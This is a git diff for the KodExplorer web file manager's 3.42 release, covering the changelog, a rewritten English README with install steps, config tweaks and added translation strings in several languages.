diff --git a/ChangeLog.md b/ChangeLog.md index 8de2507..434272c 100755 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -1,3 +1,71 @@ +### ver3.42 `2017/4/3` +----- +#### update: +- 安全防护;全面防护csrf攻击;安全性提升。 +- 设置增加:全局css|全局js[统计代码]; 【清空缓存】;自定义程序logo支持图片 +- 高并发下:用户数据文件读写异常处理 +- 上传优化: 文件权限设置644->755;大文件分片上传优化;ie浏览器兼容处理;上传失败自动重传机制加入 +- 文件编辑:换行切换为\r\n;兼容windows记事本;标签右键菜单图标样式问题 +- 工具栏——更多菜单加入:浏览器打开;图标优化;右键菜单二级菜单偶尔失去焦点情况处理 +- 远程下载优化: 优化多级301跳转文件下载;下载加入同域名referer; 断点续传优化;下载0Kb优化 +- 对话框icon点击菜单,双击icon关闭 +- 分配了权限组添加用户权限:但提示没有权限。 +- 关闭了下载权限:允许文件预览、pdf、office预览等;屏蔽pdfjs上的下载按钮; +- 快捷键新增:shift+delete 直接删除;alt+enter查看文件属性;alt+left alt+right 历史记录前进后退 +- 编辑器隐藏时;打开文件自动显示到最上层 +- 文件管理:复制快捷键允许冒泡;允许快捷键复制选中的文字 +- 壁纸自动下载文件夹放置在桌面下;桌面支持自定义中文文件夹 +- IE浏览器样式兼容性调整。 +- 移动端优化: + - 上传窗口大小优化;移动端下载功能处理;iphone拍照上传文件自动重命名 + - 下拉菜单:新建文件加入;失去焦点隐藏; + - 分享目录支持上传:手机端功能加入 + - 分享文件夹搜索问题解决 + - 左侧目录目录列表和pc端一级目录统一 + - 分享页面文件打开未知文件,点击下载跳转到登陆页问题 + +- 在线解压缩全面支持 + - 支持压缩为zip,tar,gz,tar.gz格式文件 + - 单选,多选右键菜单自动压缩指定内容 + - 右键菜单自动关联压缩文件:支持扩展名zip;tar;tar.gz,tgz,rar,7z,apk,ipa + - 压缩乱码解决:压缩包内中文跨系统支持自动识别,解压缩自动重命名为当前系统编码 + - 在线预览 + - 支持zip,rar,7z,gz,tar,tgz等格式在线预览,在线解压; + - 自动编码识别:[gbk,utf-8];zip,tar,gz,tgz,rar,7z...;windows,linux(centos,debain) + - 文件列表;树目录,列表展开,中文编码自动识别 + - 浏览,文档属性查看,预览子文件,下载子文件,解压子文件,解压子文件夹,解压全部 + - 文件预览在:自己目录;自己分享;分享页面;别人的分享;群组文档;群组共享 + - 图片、媒体文件、pdf、flash、oexe、html + - 大于30m不直接预览,建议解压后预览;zip中含有zip则提示解压 + - token安全问题考虑:文本文件、office文件 + - 解压 + - 解压文件、文件夹到:当前目录,自定义目录; + - 文件管理解压后,刷新并自动选择内容;编辑器打开则刷新父目录 + - 场景和权限:当前目录不可写隐藏『解压到当前』;分享页面隐藏解压功能; +- 运行异常检测并提示 + - 解压缩出错处理;不支持检测;shell_exec防注入处理 + - 函数检测 gzopen,gzinflate;[不支持则不能解压] + - js文件缺失报错提示; + - 文件夹乱码json输出,json_encode优化;允许未知编码文件输出 + - 当开启了php cache时更新不生效提示 + - 解压错误输出时避免输出真实目录 + - 打包编译优化:去除gzinflate调用;空间支持更广。 + - 扩展名没有权限的文件解压:不忽略——追加txt扩展名 + - 优化部分主机防火墙误判问题;(post 字段名不能含有list) net::ERR_CONNECTION_RESET + - 检测列目录速度慢问题优化 + - 授权版降级到免费版部分数丢失问题解决;本地授权写入到lib/core; + - 目录没有写权限,session不可写判断并做提示 + - 剩余空间样式优化:过少则提示 +#### fix bug +- 部分服务器下载中文文件,文件名乱码问题: +- cdn静态分离优化:播放器加载html跨站问题 +- 授权丢失:强制输入授权码页面 commonjs 加载变为页面问题 +- 修复safari音视频播放不了问题;下载断点续传逻辑优化 +- 多选右键操作;父子文件夹包含问题误判解决 +- 解压文件权限判断错误:压缩文件目录不可写,解压到某个文件夹可写 + + + ### ver3.41 `2017/3/5` ----- #### update: diff --git a/README.md b/README.md index bda5218..757498c 100755 --- a/README.md +++ b/README.md @@ -1,57 +1,173 @@ -KodExplorer(http://kalcaddle.com/) -======== - KodExplorer是一款开源的基于Web的在线文件管理、代码编辑器。它提供了类windows经典用户界面,一整套在线文件管理、文件预览、编辑、上传下载、在线解压缩、音乐播放功能。让你直接在浏览器端实现web开发、源码文件预览、网站部署。同时拥有与本地操作一样方便、快捷、安全的体验。 - `商业版授权请联系:kalcaddle#qq.com` +# KodExplorer + +[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kalcaddle.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kalcaddle.com) [![Download](http://kalcaddle.com/tools/version/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip) + +> KodExplorer is a file manager for web. It is also a web IDE / browser based code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available. + +![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common2.png) +![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common3.png) - https://www.paypal.me/kalcaddle - -#### 1.是什么: - - kodExplorer为千帆网络工作室开发的一款服务器文件管理程序。 - - 完美取代FTP管理:可用于服务器文件管理,zip解压缩、备份还原 - - 支持常见文件的预览:支持图片、音乐、视频预览、office、pdf等格式在线预览。 - - 上传:文件分片上传;保证整体的体验与大文件上传的问题。文件夹拖拽上传……。 - - 方便的下载:可以文件夹直接下载,框选后直接下载 - - 分享:你可以将你的文档或文件夹直接分享出来,供其他人浏览或下载 - - 在线编程:支持几乎所有编程语言的在线编辑(高亮,多光标编辑.堪比本地的sublime);自动展示函数列表 - - 极佳的操作体验:及其便捷的快捷键支持,让你拥有本地化的体验 - - 中文等多语言支持:中文编码全面兼容,文件编辑自动适配。 - - 超快的速度:全面采用Ajax+Json进行数据通信,毫秒级的响应速度; - - 全平台兼容性:Win Linux Mac (Apache、Nginx、IIS) +### [Demo](http://demo.kalcaddle.com/) [user: demo/demo] +----- +- [Change log](./ChangeLog.md) +- [English Document](http://kalcaddle.com#lang=en) +- [中文文档](http://kalcaddle.com/#lang=zh_CN) +- [Donate](https://www.paypal.me/kalcaddle) -#### 2.使用场景: - - 取代FTP,服务端、客户端软件等复杂的安装配置。kod可以一键安装随处使用. - - 你可以用它来管理你的服务器(备份,在线解压缩,版本发布....) - - 你可以把他当做管理linux的一个操作系统界面 - - 可以用来作为私有云存储系统,存储你的文件... - - 当然你也可以用来分享文件 - - Web IDE - - 更多场景等你来挖掘!…… - -#### 3.使用说明 - 默认加入了三个用户(分别对应不同的用户组) - 管理员: admin/admin - 普通用户:demo/demo - 游客用户:guest/guest - - [如何使用] 下载程序,解压上传到你的服务器路径下,data目录设置777权限。访问体验超便捷的服务吧! - (为确保数据安全,最好配置服务器不允许列目录) - [关于"系统错误"] 请配置php错误提示级别error_reporting; 配置php.ini或者允许error_reporting函数 - [关于兼容性] 建议使用chrome firefox ie9+ 体验更完整。ie8以下基本上不做兼容处理。chrome支持文件夹拖拽上传。 - [文件打开] office文件在线预览功能,服务器必须在公网(外部能访问该服务器); - 内部或局域网需要使用请参考qq群共享“web office搭建”,然后配置kod程序config/config.php OFFICE_SERVER - [安全提示] 为确保数据安全,请设置http服务器不允许列目录。[详情:http://955.cc/R2vw] - [文件拖拽上传] 除了ie8以下的大部分浏览器支持;建议使用chrome、360、猎豹、uc等 - [文件夹拖拽上传] 除了ie10以下、firefox大部分浏览器都支持,建议使用chrome、360、猎豹、uc等 - -![](https://cloud.githubusercontent.com/assets/3761968/2583304/764f562a-b9cf-11e3-8e59-afdbdffc20eb.png) - -## editor -![](https://cloud.githubusercontent.com/assets/3761968/2583309/7fd52f8a-b9cf-11e3-8052-b4f908fd5209.png) +# Features +- Use experience like operating system, Rich context menu and toolbar, drag and drop, shortcut keys...... +- Available in more than 40 languages. +- File Manage + - All operations with files and folders on a remote server(copy,cute,paste,move,remove,upload,create folder/file,rename,etc.) + - Multi-User support,custom role group. + - Flexible configuration of access rights,file types restriction, user - interface and other + - Clipboard: copy, cut, paste, clear + - Selectable files & folders support (mouse click & Ctrl & Shift & words & Keyboard shortcuts) + - Keyboard shortcuts: delete deletion, ctrl+A select, ctrl+C replication, ctrl+X splicing, up/down/left/right/home/end etc. + - Multiple actions support for selected files & folders: move,copy,cute,remove,rename,open,archive,delete,download etc. + - Double or single click setup to open files & folders + - Filetree: allow to open and display multiple subfolders at a time + - Implemented natural sorting on the client-side + - List,Icons and Split view; + - Move/Copy/Clone/Delete files with Drag & Drop + - Share files or folder to others. + - Add folder to your favorites + - Calculate directory sizes + - Thumbnails for image files + - Normalizer:UTF-8 Normalizer of file-name and file-path etc. + - Muti Charset support, in a variety of circumstances garbled solution;Sanitizer of file-name and file-path etc. + - Multiple & chunked uploads support, + - Background file upload with Drag & Drop HTML5 support;Folder upload with Chrome, Firefox and Edge + - Upload form URL (or list) + - Direct extraction to the current working directory (you do not want - to create a folder) + - Search: search by filename & file contents + - File exclusion based on name + - Copy direct file URL + - Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) + - Quicklook, preview for common file types; image file,text file,pdf,swf,document file etc. + - Video and audio player relying on web browser capabilities +- Editor + - Syntax highlighting for over 120 languages + - Multiple label, Drag & Drop the label. + - Over 15 themes,Choose your favorite programming style + - Web development: HTML/JS/CSS editor with Emmet integrated + - Automatic indent and outdent;Line wrapping;Code folding + - Multiple cursors and selections;(Middle key select;Ctrl+Command+G) + - Autocomplete. + - Fully customizable key bindings including vim and Emacs modes + - Search and replace with regular expressions;Highlight matching parentheses + - Toggle between soft tabs and real tabs + - Displays hidden characters + - Drag and drop text using the mouse + - Live syntax checker (JavaScript/CoffeeScript/CSS/XQuery/HTML/PHP etc.) + - Cut, copy, and paste functionality + - Markdown support.(live preview;convert to html etc.) + - Format: JavaScript/CSS/HTML/JSON/PHP etc. + - Cross-platform, even on mobile devices + - Easy to integrate with other systems + - Developed by kod itself, this is a nice try. -## player -![](https://cloud.githubusercontent.com/assets/3761968/2583312/84462bf0-b9cf-11e3-8b00-96fb3fc1610e.png) +# Install -## desktop -![](https://cloud.githubusercontent.com/assets/3761968/2583348/1b260572-b9d0-11e3-8f3e-3004dbbc63c9.png) +**1. Install from source** +``` +git clone https://github.com/kalcaddle/KODExplorer.git +chmod -Rf 777 ./KODExplorer/* +``` + +**2. Install via download** +``` +wget https://github.com/kalcaddle/KODExplorer/archive/master.zip +unzip master.zip +chmod -Rf 777 ./* +``` + + + +# FAQs + +* Forget password + > Login page: see the "Forget password". + +* Upload with Drag & Drop + > Browser compatibility: Chrome, Firefox and Edge + +* How to make the system more secure? + > Make sure the administrator password is more complex. + > Open login verification code. + > Set the http server to not allow list the directory; + > PHP Security:Set the path for open_basedir. + +# Screenshot +### file manage: +- Overview +![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file.png) +- File list Type (icon,list,split) +![File list Type](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-resize.png) +- Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) +![Archives create/extract/preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-unzip.png) +- Drag upload +![Drag upload](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-upload-drag.png) +- Player +![Player](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-player.png) + +### Editor: +- Overview +![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor.png) +- Live preview +![Live preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-preview.png) +- Search folder +![Search folder](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-search.png) +- Markdown +![Markdown](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-markdown.png) +- Code style +![Code style](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-theme.png) + + +### Others: +- System role +![System role](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-role.png) +- Colorful Theme +![Colorful Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-theme.png) +- Custom Theme +![Custom Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common-alpha.png) +- Language +![Language](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/language.png) + + + + +# Software requirements +- Server: + - Windows,Linux,Mac ... + - PHP 5.0+ + - Database: File system driver;sqlite;mysql;... +- Browser compatibility: + - Chrome + - Firefox + - Opera + - IE8+ +> Tips: It can also run on a router, or your home NAS + + +# Credits +kod is made possible by the following open source projects. + +* [seajs](https://github.com/seajs/seajs) +* [jQuery](https://github.com/jquery/jquery) +* [ace](https://github.com/ajaxorg/ace) +* [zTree](https://github.com/zTree/zTree_v3) +* [webuploader](https://github.com/fex-team/webuploader) +* [artTemplate](http://aui.github.com/artTemplate/) +* [artDialog](https://github.com/aui/artDialog) +* [jQuery-contextMenu](http://medialize.github.com/jQuery-contextMenu/) +* ... + + + +# License +kodexplorer is issued under GPLv3. license.[License](http://kalcaddle.com/tools/licenses/license.txt) +Contact: kalcaddle#qq.com +Copyright (C) 2013 kalcaddle.com diff --git a/config/config.php b/config/config.php index ba52e8a..2a39421 100755 --- a/config/config.php +++ b/config/config.php @@ -21,7 +21,7 @@ if(GLOBAL_DEBUG){ define('STATIC_JS','app'); //app define('STATIC_LESS','css');//css @ini_set("display_errors","on");//on off - @error_reporting(E_ERROR|E_PARSE|E_WARNING);// 0 + @error_reporting(E_ERROR|E_PARSE);// 0 } header("Content-type: text/html; charset=utf-8"); @@ -42,6 +42,7 @@ define('DEFAULT_PERRMISSIONS',0755); //新建文件、解压文件默认权限 * 1. 需要先将data文件夹移到别的地方 例如将data文件夹拷贝到D:/ * 2. 修改配置 define('DATA_PATH','D:/data/'); */ + define('DATA_PATH', BASIC_PATH .'data/'); //用户数据目录 define('USER_PATH', DATA_PATH .'User/'); //用户目录 define('GROUP_PATH', DATA_PATH .'Group/'); //群组目录 @@ -82,31 +83,21 @@ define('APPHOST',HOST.str_replace(WEB_ROOT,'',BASIC_PATH));//程序根目录 $config['app_charset'] = 'utf-8'; //该程序整体统一编码 $config['settings']['static_path'] = "./static/"; //静态文件目录 -$config['check_charset'] = 'ASCII,UTF-8,GBK,GB2312,UTF-16,UCS-2,EUC-KR,EUC-JP,SHIFT-JIS,EUCJP-WIN,SJIS-WIN,JIS,LATIN1';//文件打开自动检测编码 +$config['check_charset'] = 'ASCII,UTF-8,GB2312,GBK,BIG5,UTF-16,UCS-2,Unicode,EUC-KR,EUC-JP,SHIFT-JIS,EUCJP-WIN,SJIS-WIN,JIS,LATIN1';//文件打开自动检测编码 //when edit a file ;check charset and auto converto utf-8; if (strtoupper(substr(PHP_OS, 0,3)) === 'WIN') { $config['system_os']='windows'; $config['system_charset']='gbk';// EUC-JP/Shift-JIS/BIG5 //user set your server system charset if(version_compare(phpversion(), '7.1.0', '>=')){//7.1 has auto apply the charset - $config['system_charset']='utf-8'; + $config['system_charset']='utf-8'; } } else { $config['system_os']='linux'; $config['system_charset']='utf-8'; -} +} init_common(); -if(isset($in[SESSION_ID])){//office edit post - session_id($in[SESSION_ID]); -} -if(isset($in['access_token'])){//office edit post - session_id($in['access_token']); -} -@session_name(SESSION_ID); -@session_save_path(KOD_SESSION);//session path -@session_start(); -@session_write_close();//避免session锁定问题;之后要修改$_SESSION 需要先调用session_start() //write_log(json_encode($_REQUEST),'default'); $config['autorun'] = array( diff --git a/config/i18n/ar/main.php b/config/i18n/ar/main.php index 4e06b99..92a3dbe 100755 --- a/config/i18n/ar/main.php +++ b/config/i18n/ar/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "المانجو سحابة • مستكشف", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "المانجو سحابة • مستكشف", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "تسجيل الدخول", "guest_login" => "تسجيل يهمنا", "username" => "اسم المستخدم", @@ -251,6 +254,13 @@ return array( "login_code" => "رموز", "need_check_code" => "رمز التوثيق الدخول المفتوح", "login_rember_password" => "تذكر كلمة المرور", + "setting_clear_user_recycle" => "إفراغ سلة المحذوفات لجميع المستخدمين", + "setting_clear_cache" => "إفراغ ذاكرة التخزين المؤقت", + "setting_icp" => "حقوق الطبع والنشر أو سجل رقم", + "setting_global_css" => "المغلق العالمي مخصص", + "setting_global_css_desc" => "وكل الصفحات إدراج المغلق مخصص", + "setting_global_html" => "إحصائية HTML كود", + "setting_global_html_desc" => "سيتم إدراج جميع صفحات هذا أتش تي أم أل كود الفقرة، رمز يمكن وضعها إحصاءات طرف ثالث", "us" => "kalcaddle.com", "login_not_null" => "اسم المستخدم وكلمة المرور لا يمكن أن يكون فارغا!", "code_error" => "رموز الخطأ", @@ -261,6 +271,7 @@ return array( "permission_edit" => "تعديل ضوابط", "no_permission" => "عطل المشرف هذا الامتياز!", "no_permission_ext" => "المسؤول حظر هذا النوع من أذونات الملف", + "dialog_max" => "تعظيم", "dialog_min" => "خفض", "dialog_min_all" => "تصغير كافة", "dialog_display_all" => "عرض كل النوافذ", @@ -306,7 +317,7 @@ return array( "past" => "عصا", "clone" => "إنشاء نسخة", "cute" => "جز", - "cute_to" => "قطع ل...", + "cute_to" => "الانتقال إلى ...", "copy_to" => "نسخة ...", "remove" => "حذف", "remove_force" => "إزالة", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "شجرة الدليل على تحديث", "manage_folder" => "إدارة الدليل", "close_menu" => "إغلاق القائمة", - "zip" => "ضغط البريدي", - "unzip" => "الرمز البريدي لاستخراج ...", + "zip" => "مضغوط إلى ...", + "unzip" => "لاستخراج ...", "unzip_folder" => "فك الضغط إلى مجلد", "unzip_this" => "استخراج للتيار", - "unzip_to" => "لاستخراج", + "unzip_to" => "لاستخراج ...", + "zipview_file_big" => "الملف كبير جدا، ومن ثم استخراج عملية المعاينة!", "clipboard" => "عرض الحافظة", "full_screen" => "شاشة كاملة", "folder_info_item" => "البنود", @@ -344,6 +356,8 @@ return array( "moving" => "تشغيل خدمات الهاتف النقال ...", "remove_title" => "تأكيد حذف", "remove_info" => "تأكيد لحذف العنصر المحدد؟", + "remove_title_force" => "حذفه نهائيا", + "remove_info_force" => "أنت متأكد أنك تريد حذف هذه الوثيقة بشكل دائم؟", "name_isexists" => "خطأ، والاسم موجود بالفعل!", "install" => "تثبيت", "width" => "عرض", @@ -417,7 +431,7 @@ return array( "download_success" => "تحميل النجاح!", "download_error" => "تحميل فشل!", "download_error_create" => "خطأ الكتابة!", - "download_error_exists" => "لا وجود ملف بعيد!", + "download_error_exists" => "رابط إلى ملف فشل!", "upload_error_null" => "أي ملف!", "upload_error_big" => "يتجاوز حجم الملف حدود الخادم", "upload_error_move" => "فشل نقل الملف!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "حذف ملف", "group_role_pathinfo" => "خصائص ملف", "group_role_pathmove" => "الخطوة (نسخ / قص / لصق / جر العملية)", - "group_role_zip" => "ضغط البريدي", - "group_role_unzip" => "الرمز البريدي بفك", + "group_role_zip" => "ضغط", + "group_role_unzip" => "بفك", "group_role_search" => "بحث", "group_role_filesave" => "حفظ الملف إلى تعديل", "group_role_can_upload" => "تحميل وتنزيل", diff --git a/config/i18n/bg/main.php b/config/i18n/bg/main.php index cc21ca4..1658ab8 100755 --- a/config/i18n/bg/main.php +++ b/config/i18n/bg/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango облак • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango облак • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Влезте,", "guest_login" => "Гост Вход", "username" => "Потребител", @@ -251,6 +254,13 @@ return array( "login_code" => "кодове", "need_check_code" => "код Вход удостоверяване отворен", "login_rember_password" => "Запомни паролата", + "setting_clear_user_recycle" => "Изпразните кошчето за всички потребители", + "setting_clear_cache" => "Изчистване на кеш паметта", + "setting_icp" => "Copyright или запис номер", + "setting_global_css" => "Персонализирана глобалната CSS", + "setting_global_css_desc" => "Всички страници ще въведе потребителски CSS", + "setting_global_html" => "Статистически код HTML", + "setting_global_html_desc" => "Всички страници ще бъде включен в този параграф HTML код, кодът може да се постави статистика на трети страни", "us" => "kalcaddle.com", "login_not_null" => "Потребителско име и парола не може да бъде празно!", "code_error" => "кодове на грешки", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Промяна на разрешенията", "no_permission" => "Администраторът е забранил тази привилегия!", "no_permission_ext" => "Administrator забрани този вид файловите права", + "dialog_max" => "Увеличете", "dialog_min" => "Минимизиране", "dialog_min_all" => "Минимизиране на всички", "dialog_display_all" => "Показване на всички прозорци", @@ -306,7 +317,7 @@ return array( "past" => "пръчка", "clone" => "Създаване на копие", "cute" => "срязване", - "cute_to" => "Нарежете на ...", + "cute_to" => "Преместване на ...", "copy_to" => "Копие до ...", "remove" => "изтривам", "remove_force" => "премахнете напълно", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Обновяване директория дърво", "manage_folder" => "Управление Directory", "close_menu" => "Затваряне на менюто", - "zip" => "цип компресия", - "unzip" => "цип за извличане на ...", + "zip" => "Сгъстен да ...", + "unzip" => "За да се извлече ...", "unzip_folder" => "Разархивирайте в папка", "unzip_this" => "Екстракт на тока", - "unzip_to" => "За да се извлече", + "unzip_to" => "За да се извлече ...", + "zipview_file_big" => "Файлът е твърде голям, и след това се извлича операцията за преглед!", "clipboard" => "Вижте Clipboard", "full_screen" => "Full Screen", "folder_info_item" => "Предмети", @@ -344,6 +356,8 @@ return array( "moving" => "Mobile операция ...", "remove_title" => "Изтриване Потвърждение", "remove_info" => "Потвърди, за да изтриете избрания елемент?", + "remove_title_force" => "постоянно изтрит", + "remove_info_force" => "Сигурни ли сте, вие искате да изтриете завинаги този документ?", "name_isexists" => "Грешен, на име вече съществува!", "install" => "инсталирам", "width" => "широчина", @@ -417,7 +431,7 @@ return array( "download_success" => "Свали успех!", "download_error" => "Download Failed!", "download_error_create" => "Напиши грешка!", - "download_error_exists" => "Дистанционно файл не съществува!", + "download_error_exists" => "Линк към файла не бе успешно!", "upload_error_null" => "Не файл!", "upload_error_big" => "Размерът на файла е над допустимите граници за сървъри", "upload_error_move" => "Неуспешно преместване на файл!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "заличаване на файлове", "group_role_pathinfo" => "File Properties", "group_role_pathmove" => "Move (копие / изрязване / паста / влачене операция)", - "group_role_zip" => "цип компресия", - "group_role_unzip" => "цип разархивирайте", + "group_role_zip" => "компресия", + "group_role_unzip" => "отварям се", "group_role_search" => "търсене", "group_role_filesave" => "Запазете файла за редактиране", "group_role_can_upload" => "Качване и сваляне", diff --git a/config/i18n/bn/main.php b/config/i18n/bn/main.php index d7e193b..967b066 100755 --- a/config/i18n/bn/main.php +++ b/config/i18n/bn/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "আম মেঘ • এক্সপ্লোরার", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "আম মেঘ • এক্সপ্লোরার", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "লগইন করুন", "guest_login" => "অতিথি সাইন ইন", "username" => "ব্যবহারকারীর নাম", @@ -251,6 +254,13 @@ return array( "login_code" => "সঙ্কেত", "need_check_code" => "লগইন প্রমাণীকরণ কোডটি উন্মুক্ত", "login_rember_password" => "পাসওয়ার্ড মনে রেখো", + "setting_clear_user_recycle" => "সকল ব্যবহারকারীর জন্য রিসাইকেল বিন খালি", + "setting_clear_cache" => "ক্যাশে খালি করুন", + "setting_icp" => "কপিরাইট বা রেকর্ড সংখ্যা", + "setting_global_css" => "কাস্টম বিশ্বব্যাপী CSS", + "setting_global_css_desc" => "সমস্ত পৃষ্ঠা কাস্টম CSS ঢোকাব", + "setting_global_html" => "পরিসংখ্যানগত কোড এইচটিএমএল", + "setting_global_html_desc" => "সমস্ত পৃষ্ঠা এই অনুচ্ছেদ HTML কোড সন্নিবেশ করানো হবে, কোড তৃতীয় পক্ষের পরিসংখ্যান স্থাপন করা যেতে পারে", "us" => "kalcaddle.com", "login_not_null" => "ব্যবহারকারী নাম এবং পাসওয়ার্ড খালি হতে পারে না!", "code_error" => "ত্রুটি কোডের", @@ -261,6 +271,7 @@ return array( "permission_edit" => "অনুমতি সংশোধন", "no_permission" => "অ্যাডমিনিস্ট্রেটর এই বিশেষ সুযোগ অক্ষম করেছে!", "no_permission_ext" => "অ্যাডমিনিস্ট্রেটর ফাইল অনুমতি এই ধরনের নিষিদ্ধ", + "dialog_max" => "চরমে তোলা", "dialog_min" => "কমান", "dialog_min_all" => "সমস্ত মিনিমাইজ", "dialog_display_all" => "সব উইন্ডোসমূহ দেখাবে", @@ -306,7 +317,7 @@ return array( "past" => "লাঠি", "clone" => "একটি অনুলিপি তৈরি করুন", "cute" => "কাটা", - "cute_to" => "কাটা ...", + "cute_to" => "যান ...", "copy_to" => "অনুলিপি করুন ...", "remove" => "মুছুন", "remove_force" => "কমপ্লিটলি অপসারণ", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "সুদ্ধ করুন ডিরেক্টরি ট্রি", "manage_folder" => "নির্দেশিকা ম্যানেজমেন্ট", "close_menu" => "মেন্যু", - "zip" => "জিপ কম্প্রেশন", - "unzip" => "নিষ্কর্ষ জিপ ...", + "zip" => "সংকুচিত ...", + "unzip" => "বের করে আনতে ...", "unzip_folder" => "একটি ফোল্ডারে আনজিপ করুন", "unzip_this" => "বর্তমান এক্সট্র্যাক্ট", - "unzip_to" => "বের করে আনতে", + "unzip_to" => "বের করে আনতে ...", + "zipview_file_big" => "ফাইল অত্যন্ত বড়, এবং তারপর পূর্বরূপ অপারেশন নিষ্কর্ষ!", "clipboard" => "দেখুন ক্লিপবোর্ড", "full_screen" => "ফুল স্ক্রীণ মোড থেকে", "folder_info_item" => "আইটেম", @@ -344,6 +356,8 @@ return array( "moving" => "মোবাইল অপারেশন ...", "remove_title" => "নিশ্চিতকরণ মুছুন", "remove_info" => "নির্বাচিত আইটেমের মুছে ফেলার জন্য Confirm?", + "remove_title_force" => "স্থায়ীভাবে মুছে ফেলা", + "remove_info_force" => "আপনি কি নিশ্চিত যে আপনি স্থায়ীভাবে এই ডকুমেন্ট মুছে ফেলতে চান?", "name_isexists" => "ভুল, নাম আগে থেকেই আছে!", "install" => "ইনস্টল করুন", "width" => "প্রস্থ", @@ -417,7 +431,7 @@ return array( "download_success" => "ডাউনলোড সাফল্য!", "download_error" => "ডাউনলোড ব্যর্থ হয়েছে!", "download_error_create" => "লেখার ত্রুটি!", - "download_error_exists" => "দূরবর্তী ফাইল অস্তিত্ব নেই!", + "download_error_exists" => "লিংক ব্যর্থ দায়ের করা!", "upload_error_null" => "কোন ফাইল!", "upload_error_big" => "ফাইলের আকার সার্ভার সীমা ছাড়িয়ে গেছে", "upload_error_move" => "ফাইল স্থানান্তর করতে ব্যর্থ হয়েছে!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "ফাইল মুছে ফেলার", "group_role_pathinfo" => "ফাইল বৈশিষ্ট্যাবলী", "group_role_pathmove" => "সরান (কপি / কাট / পেস্ট / ড্র্যাগ অপারেশন)", - "group_role_zip" => "জিপ কম্প্রেশন", - "group_role_unzip" => "জিপ আনজিপ", + "group_role_zip" => "সংকোচন", + "group_role_unzip" => "আনজিপ", "group_role_search" => "অনুসন্ধান", "group_role_filesave" => "ফাইল সংরক্ষণ সম্পাদনা করতে", "group_role_can_upload" => "আপলোড ও ডাউনলোডের", diff --git a/config/i18n/ca/main.php b/config/i18n/ca/main.php index b3d7184..e6f35ab 100755 --- a/config/i18n/ca/main.php +++ b/config/i18n/ca/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango núvol • Explorador", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango núvol • Explorador", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "iniciar la sessió", "guest_login" => "visites Ferma", "username" => "Nom d'usuari", @@ -251,6 +254,13 @@ return array( "login_code" => "codis", "need_check_code" => "codi d'autenticació d'inici de sessió oberta", "login_rember_password" => "recordar contrasenya", + "setting_clear_user_recycle" => "Buidar la paperera de reciclatge per a tots els usuaris", + "setting_clear_cache" => "Buidar la memòria cau", + "setting_icp" => "Els drets d'autor o número de registre", + "setting_global_css" => "CSS personalitzat mundial", + "setting_global_css_desc" => "Totes les pàgines s'insereixi CSS personalitzat", + "setting_global_html" => "HTML codi estadístic", + "setting_global_html_desc" => "s'inseriran totes les pàgines en aquest codi HTML paràgraf, el codi es pot col·locar estadístiques de tercers", "us" => "kalcaddle.com", "login_not_null" => "Nom d'usuari i la contrasenya no pot estar buida!", "code_error" => "Els codis d'error", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificar permisos", "no_permission" => "Administrador ha desactivat aquest privilegi!", "no_permission_ext" => "Administrador prohibir aquest tipus de permisos d'arxiu", + "dialog_max" => "maximitzar", "dialog_min" => "minimitzar", "dialog_min_all" => "minimitzar tot", "dialog_display_all" => "Mostra totes les finestres", @@ -306,7 +317,7 @@ return array( "past" => "pal", "clone" => "Crear una còpia", "cute" => "cisalla", - "cute_to" => "Tall a ...", + "cute_to" => "Mou a ...", "copy_to" => "Copiar a ...", "remove" => 